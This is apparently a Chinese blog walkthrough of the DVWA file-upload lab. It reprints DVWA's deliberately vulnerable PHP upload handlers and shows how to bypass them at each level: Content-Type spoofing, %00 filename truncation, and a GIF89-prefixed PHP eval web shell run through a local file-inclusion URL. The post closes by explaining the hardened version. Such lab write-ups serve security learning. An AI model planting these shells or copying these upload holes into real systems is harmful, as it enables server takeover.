DGZ's Blog.

DVWA-upload

Word count: 1.7kReading time: 8 min
2020/04/17 Share

参考:https://blog.csdn.net/qq_36119192/java/article/details/82904642

is_uploaded_file($_FILES[‘upfile’][‘tmp_name’] 后的[‘tmp_name’] 的相关信息

1
2
3
4
5
6
7
8
9
10
$_FILES这个变量用与上传的百文件参数设置,是一个多维数组
数组的用法就是 `$_FILES['key']['key2'];`
$_FILES['upfile']是你表单上传的文件信息数组,upfile是文件上传字段,在上传时度由服务器根据上传字段设定。

$_FILES['upfile']包含了以下内容:
$_FILES['upfile']['name'] 客户端文件的原名称。
$_FILES['upfile']['type'] 文件的 MIME 类型,知需要浏览器提供该信息的支道持,例如"image/gif"。
$_FILES['upfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['upfile']['tmp_name'] 文件被上传后在服务端储存版的临时文件名。
$_FILES['upfile']['error'] 和该文件上传相关的[错误代码](https://www.baidu.com/s?wd=错误代码&tn=SE_PcZhidaonwhc_ngpagmjz&rsv_dl=gh_pc_zhidao)。

Low级别的直接上传即可,没有过滤

Medium级别

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

方式一:抓包修改type

直接将content-type修改为image/jpeg

方式二:00截断

在php<5.3.4中,处理字符串的函数认为0x00是终止符。那么我们可以利用 00截断漏洞来上传我们的一句话木马。网站上传函数处理1.php%00.jpg时,首先后缀名是合法的jpg格式,可以上传,在保存文件时,

后端在判断文件后缀名的时候遇到%00字符丢弃后面的jpg,文件后缀最终保存的后缀 名为 1.php。

创建一个文件名为3.php.jpg的文件,使用burpsuite进行包拦截,把文件名改为 3.php[空格].jpg,十六进制查看,空格的十六进制代码为20,将其修改为 00

JEZDW6.png

JEZ6yD.png

后端在判断文件后缀名的时候遇到%00字符丢弃后面的jpg,文件后缀最终保存的后缀 名为 3.php

forward之后,发现被解析为3.php

JEZRwd.png

另外一种00截断方式:

JEn3Wt.png

在.jpg前加入%00,然后ctrl+shift+U

url编码一下,也可以在右键-convert selection-URL里面看到

就可以成功上传了

JEntOS.png

High级别

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

比较关键的getimagesize( $uploaded_tmp )

1
2
3
4
5
6
7
8
strrpos(string , find ,start)  查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length) 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度

strtolower(string) 返回给定字符串的小写

getimagesize(string) :函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING级的错误。所以 getimagesize函数的作用是判断上传的文件是不是有效的图片

move_uploaded_file(file,newlocal) 函数表示把给定的文件移动到新的位置

新建文件3.jpg,内容如下,在文件头部加上了jpg格式的 GIF89

1
2
GIF89
<?php @eval($_POST['xie'])?>

JEmM80.png

可以上传,但是蚁剑是无法连接的,因为解析不了jpg文件,必须让他做php解析

此处要结合文件上传

第一种:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///F:\WAMPSERVER\www\DVWA\hackable\uploads\3.jpg

JEmoqg.png

第二种:

利用copy命令copy /b 3-1.jpg+1.php hack.jpg 注意图片要在前面,然后将hack.jpg文件上传

url输入:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///F:\WAMPSERVER\www\DVWA\hackable\uploads\hack.jpg

发现解析了

JEm0xK.png

但是蚁剑都连不了emmmm

Impossible 级别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; //文件在上传者机器上的文件名
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //上传文件的后缀名
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; //上传文件的大小
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; //上文文件的类型
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; //文件上传到服务器临时文件夹后的文件名

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

imagecreatefromjpeg(filename):从给定的文件或url中创建一个新的图片

imagejpeg(image,filename,quality):从image图像中以 filename 文件名创建一个jpeg的图片,参数quality可选,0-100 (质量从小到大)

imagedestroy(image): 销毁图像

可以看到,Impossible级别对上传的文件进行了重命名(为md5值,导致00截断无法绕过过滤规则),并且加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

CATALOG
  1. 1. Medium级别
    1. 1.1. 方式一:抓包修改type
    2. 1.2. 方式二:00截断
  2. 2. High级别
  3. 3. Impossible 级别